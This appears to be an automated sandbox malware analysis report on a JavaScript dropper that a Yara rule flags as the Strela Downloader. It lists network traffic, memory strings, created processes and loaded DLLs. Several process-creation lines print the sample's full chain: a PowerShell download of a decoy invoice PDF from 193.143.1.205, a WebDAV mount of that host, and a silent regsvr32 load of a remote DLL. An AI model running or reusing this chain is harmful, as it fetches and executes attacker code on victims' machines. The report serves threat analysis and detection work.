HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1721774487.000002109AF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1799424043.000001EE33E1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1785475417.000001EE33E1B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799292756.000001EE33DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Kz9
Source: net.exe, 00000006.00000002.1799292756.000001EE33DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/smdJ
Source: net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/wz=
Source: svchost.exe, 00000008.00000002.3018681047.00000202FA200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA088000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA088000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA088000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA0BD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA132000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA132000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1794738967.00000202FA132000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6352, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5503463779138895.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3808:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vdkvtnzl.3mf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1656,i,7439462766975430793,14181479011858444307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1656,i,7439462766975430793,14181479011858444307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
